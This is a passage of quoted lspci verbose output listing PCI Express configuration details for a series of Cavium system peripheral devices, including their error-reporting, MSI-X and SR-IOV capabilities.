> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:11:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 850200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fcd00000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:12:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 851200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fcd80000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:13:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 852200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fce00000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:14:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 853200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fce80000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:15:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 854200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fcf00000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:16:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 855200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fcf80000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:17:00.0 System peripheral: Cavium, Inc. Device a0fb (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 856200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fd000000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=128 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fc
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:18:00.0 System peripheral: Cavium, Inc. Device a0fb (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 857200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fd080000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=128 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
